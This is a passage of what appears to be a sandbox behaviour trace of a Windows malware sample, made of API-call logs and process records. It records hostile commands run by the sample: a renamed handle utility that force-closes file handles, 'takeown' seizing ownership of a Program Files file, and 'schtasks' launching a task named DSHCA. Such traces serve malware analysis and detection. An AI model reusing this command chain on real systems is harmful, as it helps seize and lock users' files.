(HeapHandle=0x610000, Flags=0x8, Size=0x2c) returned 0x624410 [0107.576] GetProcessHeap () returned 0x610000 [0107.576] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xc) returned 0x610e20 [0107.576] GetProcessHeap () returned 0x610000 [0107.576] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xc) returned 0x610e38 [0107.576] GetProcessHeap () returned 0x610000 [0107.576] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe) returned 0x610e50 [0107.576] _wcsnicmp (_String1="UseBackQ", _String2="usebackq", _MaxCount=0x8) returned 0 [0107.576] _wcsnicmp (_String1="Tokens=3", _String2="usebackq", _MaxCount=0x8) returned -1 [0107.576] _wcsnicmp (_String1="Tokens=", _String2="useback", _MaxCount=0x7) returned -1 [0107.576] _wcsnicmp (_String1="Toke", _String2="eol=", _MaxCount=0x4) returned 15 [0107.576] _wcsnicmp (_String1="Tokens=", _String2="delims=", _MaxCount=0x7) returned 16 [0107.576] _wcsnicmp (_String1="Token", _String2="skip=", _MaxCount=0x5) returned 1 [0107.576] _wcsnicmp (_String1="Tokens=", _String2="tokens=", _MaxCount=0x7) returned 0 [0107.576] wcstol (in: _String="3,6 delims=: \"", _EndPtr=0x20f5e8, _Radix=0 | out: _EndPtr=0x20f5e8*=",6 delims=: \"") returned 3 [0107.576] wcstol (in: _String="6 delims=: \"", _EndPtr=0x20f5e8, _Radix=0 | out: _EndPtr=0x20f5e8*=" delims=: \"") returned 6 [0107.576] _wcsnicmp (_String1="delims=:", _String2="usebackq", _MaxCount=0x8) returned -17 [0107.576] _wcsnicmp (_String1="delims=", _String2="useback", _MaxCount=0x7) returned -17 [0107.577] _wcsnicmp (_String1="deli", _String2="eol=", _MaxCount=0x4) returned -1 [0107.577] _wcsnicmp (_String1="delims=", _String2="delims=", _MaxCount=0x7) returned 0 [0107.577] GetProcessHeap () returned 0x610000 [0107.577] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e50 | out: hHeap=0x610000) returned 1 [0107.577] GetProcessHeap () returned 0x610000 [0107.577] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xe) returned 0x610e50 [0107.577] GetProcessHeap () returned 0x610000 [0107.577] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x610e20, Size=0xe) returned 0x610e68 [0107.577] GetProcessHeap () returned 0x610000 [0107.577] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x610e68) returned 0xe [0107.577] GetProcessHeap () returned 0x610000 [0107.577] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x610e38, Size=0x14) returned 0x624448 [0107.577] GetProcessHeap () returned 0x610000 [0107.577] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624448) returned 0x14 [0107.577] _wpopen (_Command="bv6ncK8c.exe -accepteula \"trademarksnominationbrighton.exe\" -nobanner", _Mode="rb") returned 0x76be2960 [0107.966] feof (_File=0x76be2960) returned 0 [0107.966] ferror (_File=0x76be2960) returned 0 [0107.966] GetProcessHeap () returned 0x610000 [0107.966] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x108) returned 0x624468 [0107.966] fgets (in: _Buf=0x624470, _MaxCount=256, _File=0x76be2960 | out: _Buf="No matching handles found.\r\r\n", _File=0x76be2960) returned="No matching handles found.\r\r\n" [0114.672] feof (_File=0x76be2960) returned 0 [0114.672] ferror (_File=0x76be2960) returned 0 [0114.672] GetProcessHeap () returned 0x610000 [0114.672] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624468, Size=0x208) returned 0x624468 [0114.672] GetProcessHeap () returned 0x610000 [0114.672] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624468) returned 0x208 [0114.672] fgets (in: _Buf=0x62448d, _MaxCount=483, _File=0x76be2960 | out: _Buf="", _File=0x76be2960) returned 0x0 [0115.031] _pclose (in: _File=0x76be2960 | out: _File=0x76be2960) returned 0 [0115.034] GetProcessHeap () returned 0x610000 [0115.034] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x624468, Size=0x46) returned 0x624468 [0115.034] GetProcessHeap () returned 0x610000 [0115.034] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x624468) returned 0x46 [0115.034] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x62448d, cbMultiByte=29, lpWideCharStr=0x624470, cchWideChar=29 | out: lpWideCharStr="No matching handles found.\r\r\n") returned 29 [0115.034] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634be0 [0115.034] GetProcessHeap () returned 0x610000 [0115.035] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x634be0, Size=0x3c) returned 0x634be0 [0115.035] GetProcessHeap () returned 0x610000 [0115.035] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x634be0) returned 0x3c [0115.035] GetProcessHeap () returned 0x610000 [0115.035] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634c28 [0115.035] GetProcessHeap () returned 0x610000 [0115.035] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x634c28, Size=0xac) returned 0x634c28 [0115.035] GetProcessHeap () returned 0x610000 [0115.035] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x634c28) returned 0xac [0115.035] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f2dc | out: _Buffer="\r\n") returned 2 [0115.035] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.035] GetFileType (hFile=0x7) returned 0x2 [0115.036] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.036] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f29c | out: lpMode=0x20f29c) returned 1 [0115.036] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.036] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f2c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f2c8*=0x2) returned 1 [0115.038] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0115.038] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x20f2d8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0115.038] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x20f2d8 | out: _Buffer=">") returned 1 [0115.039] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.039] GetFileType (hFile=0x7) returned 0x2 [0115.039] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.039] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f2a0 | out: lpMode=0x20f2a0) returned 1 [0115.039] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.039] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x20f2cc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x20f2cc*=0x26) returned 1 [0115.039] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.039] GetFileType (hFile=0x7) returned 0x2 [0115.040] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.040] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f524 | out: lpMode=0x20f524) returned 1 [0115.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.040] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab3bd04*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x20f550, lpReserved=0x0 | out: lpBuffer=0x4ab3bd04*, lpNumberOfCharsWritten=0x20f550*=0x1) returned 1 [0115.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.040] GetFileType (hFile=0x7) returned 0x2 [0115.041] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.041] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f508 | out: lpMode=0x20f508) returned 1 [0115.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.041] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x634be8*, nNumberOfCharsToWrite=0xc, lpNumberOfCharsWritten=0x20f534, lpReserved=0x0 | out: lpBuffer=0x634be8*, lpNumberOfCharsWritten=0x20f534*=0xc) returned 1 [0115.041] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f540 | out: _Buffer=" -accepteula -c -y -p handles -nobanner ") returned 41 [0115.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.041] GetFileType (hFile=0x7) returned 0x2 [0115.042] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.042] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f500 | out: lpMode=0x20f500) returned 1 [0115.042] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.042] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x29, lpNumberOfCharsWritten=0x20f52c, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f52c*=0x29) returned 1 [0115.043] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x20f55c | out: _Buffer=") ") returned 2 [0115.043] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.043] GetFileType (hFile=0x7) returned 0x2 [0115.043] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.043] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f51c | out: lpMode=0x20f51c) returned 1 [0115.044] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.044] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f548, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f548*=0x2) returned 1 [0115.044] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x20f57c | out: _Buffer="\r\n") returned 2 [0115.044] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.044] GetFileType (hFile=0x7) returned 0x2 [0115.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0115.044] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x20f53c | out: lpMode=0x20f53c) returned 1 [0115.045] _get_osfhandle (_FileHandle=1) returned 0x7 [0115.045] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x20f568, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x20f568*=0x2) returned 1 [0115.046] GetConsoleTitleW (in: lpConsoleTitle=0x20f08c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.047] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6246d8, lpFilePart=0x20ebac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x20ebac*="Desktop") returned 0x25 [0115.047] SetErrorMode (uMode=0x0) returned 0x1 [0115.047] GetProcessHeap () returned 0x610000 [0115.047] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6246d0, Size=0x6e) returned 0x6246d0 [0115.047] GetProcessHeap () returned 0x610000 [0115.047] RtlSizeHeap (HeapHandle=0x610000, Flags=0x0, MemoryPointer=0x6246d0) returned 0x6e [0115.048] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0115.048] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0115.048] GetProcessHeap () returned 0x610000 [0115.048] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x120) returned 0x624748 [0115.048] GetProcessHeap () returned 0x610000 [0115.048] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x238) returned 0x624870 [0115.048] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.048] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x20e948, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20e948) returned 0x624a20 [0115.049] FindClose (in: hFindFile=0x624a20 | out: hFindFile=0x624a20) returned 1 [0115.049] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0115.049] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0115.049] GetConsoleTitleW (in: lpConsoleTitle=0x20ee20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0115.049] InitializeProcThreadAttributeList (in: lpAttributeList=0x20eca8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x20ed70 | out: lpAttributeList=0x20eca8, lpSize=0x20ed70) returned 1 [0115.049] UpdateProcThreadAttribute (in: lpAttributeList=0x20eca8, dwFlags=0x0, Attribute=0x60001, lpValue=0x20ed68, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x20eca8, lpPreviousValue=0x0) returned 1 [0115.049] GetStartupInfoW (in: lpStartupInfo=0x20ec64 | out: lpStartupInfo=0x20ec64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0115.049] lstrcmpW (lpString1="\\bv6ncK8c.exe", lpString2="\\XCOPY.EXE") returned -1 [0115.050] CreateProcessW (in: lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x20ed04*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x20ed50 | out: lpCommandLine="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", lpProcessInformation=0x20ed50*(hProcess=0x74, hThread=0x84, dwProcessId=0xf4c, dwThreadId=0xf50)) returned 1 [0115.061] CloseHandle (hObject=0x84) returned 1 [0115.061] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0115.061] GetProcessHeap () returned 0x610000 [0115.061] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627728 | out: hHeap=0x610000) returned 1 [0115.061] GetEnvironmentStringsW () returned 0x626b78* [0115.061] GetProcessHeap () returned 0x610000 [0115.061] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xba8) returned 0x627728 [0115.061] FreeEnvironmentStringsW (penv=0x626b78) returned 1 [0115.062] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0116.820] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x20ec44 | out: lpExitCode=0x20ec44*=0x0) returned 1 [0116.820] CloseHandle (hObject=0x74) returned 1 [0116.820] _vsnwprintf (in: _Buffer=0x20ed8c, _BufferCount=0x13, _Format="%08X", _ArgList=0x20ec50 | out: _Buffer="00000000") returned 8 [0116.820] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0116.820] GetProcessHeap () returned 0x610000 [0116.820] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627728 | out: hHeap=0x610000) returned 1 [0116.820] GetEnvironmentStringsW () returned 0x626b78* [0116.820] GetProcessHeap () returned 0x610000 [0116.820] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xba8) returned 0x627728 [0116.820] FreeEnvironmentStringsW (penv=0x626b78) returned 1 [0116.820] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0116.820] GetProcessHeap () returned 0x610000 [0116.820] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627728 | out: hHeap=0x610000) returned 1 [0116.820] GetEnvironmentStringsW () returned 0x626b78* [0116.820] GetProcessHeap () returned 0x610000 [0116.821] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0xba8) returned 0x627728 [0116.821] FreeEnvironmentStringsW (penv=0x626b78) returned 1 [0116.821] GetProcessHeap () returned 0x610000 [0116.821] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e38 | out: hHeap=0x610000) returned 1 [0116.821] DeleteProcThreadAttributeList (in: lpAttributeList=0x20eca8 | out: lpAttributeList=0x20eca8) [0116.821] GetProcessHeap () returned 0x610000 [0116.821] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624468 | out: hHeap=0x610000) returned 1 [0116.821] _get_osfhandle (_FileHandle=1) returned 0x7 [0116.821] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0116.821] _get_osfhandle (_FileHandle=1) returned 0x7 [0116.821] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0116.821] _get_osfhandle (_FileHandle=0) returned 0x3 [0116.821] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0116.822] SetConsoleInputExeNameW () returned 0x1 [0116.822] GetConsoleOutputCP () returned 0x1b5 [0116.822] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0116.822] SetThreadUILanguage (LangId=0x0) returned 0x409 [0116.822] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x20f674, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0116.823] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0116.823] _get_osfhandle (_FileHandle=3) returned 0x74 [0116.823] SetFilePointer (in: hFile=0x74, lDistanceToMove=226, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6249a0 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624870 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624748 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6246d0 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x632c58 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6244b8 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634c28 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e50 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624448 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x610e68 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624410 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6243b0 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x61f500 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624350 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6242f0 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x624250 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6241f8 | out: hHeap=0x610000) returned 1 [0116.823] GetProcessHeap () returned 0x610000 [0116.823] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6112a0 | out: hHeap=0x610000) returned 1 [0116.824] GetProcessHeap () returned 0x610000 [0116.824] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6241a8 | out: hHeap=0x610000) returned 1 [0116.824] GetProcessHeap () returned 0x610000 [0116.824] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x611240 | out: hHeap=0x610000) returned 1 [0116.824] _get_osfhandle (_FileHandle=3) returned 0x74 [0116.824] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0116.824] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f658, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x20f658*=0x0, lpOverlapped=0x0) returned 1 [0116.824] GetLastError () returned 0x0 [0116.824] _get_osfhandle (_FileHandle=3) returned 0x74 [0116.824] GetFileType (hFile=0x74) returned 0x1 [0116.824] _get_osfhandle (_FileHandle=3) returned 0x74 [0116.824] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0116.824] GetProcessHeap () returned 0x610000 [0116.824] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634be0 [0116.824] GetProcessHeap () returned 0x610000 [0116.824] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0116.825] _get_osfhandle (_FileHandle=3) returned 0x74 [0116.825] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0116.825] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x20f63c, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x20f63c*=0x0, lpOverlapped=0x0) returned 1 [0116.825] GetLastError () returned 0x0 [0116.825] _get_osfhandle (_FileHandle=3) returned 0x74 [0116.825] GetFileType (hFile=0x74) returned 0x1 [0116.825] _get_osfhandle (_FileHandle=3) returned 0x74 [0116.825] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0116.825] GetProcessHeap () returned 0x610000 [0116.825] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x8, Size=0x400a) returned 0x634be0 [0116.825] GetProcessHeap () returned 0x610000 [0116.825] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x634be0 | out: hHeap=0x610000) returned 1 [0116.825] longjmp () [0116.825] _tell (_FileHandle=3) returned 226 [0116.825] _close (_FileHandle=3) returned 0 [0116.825] CmdBatNotification () returned 0x0 [0116.825] _get_osfhandle (_FileHandle=1) returned 0x7 [0116.825] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0116.826] _get_osfhandle (_FileHandle=1) returned 0x7 [0116.826] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0116.826] _get_osfhandle (_FileHandle=0) returned 0x3 [0116.826] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0116.826] SetConsoleInputExeNameW () returned 0x1 [0116.826] GetConsoleOutputCP () returned 0x1b5 [0116.826] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0116.826] SetThreadUILanguage (LangId=0x0) returned 0x409 [0116.827] exit (_Code=0) Process: id = "189" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0xd6c8000" os_pid = "0xe5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "32" os_parent_pid = "0x184" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 768 os_tid = 0xe60 Thread: id = 771 os_tid = 0xe74 Thread: id = 773 os_tid = 0xe7c Process: id = "190" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x139c000" os_pid = "0xe64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "176" os_parent_pid = "0xdbc" cmd_line = "takeown /F \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 769 os_tid = 0xe68 Thread: id = 772 os_tid = 0xe78 Process: id = "191" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x25fc000" os_pid = "0xe6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "185" os_parent_pid = "0xe28" cmd_line = "schtasks /Run /I /tn DSHCA" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness 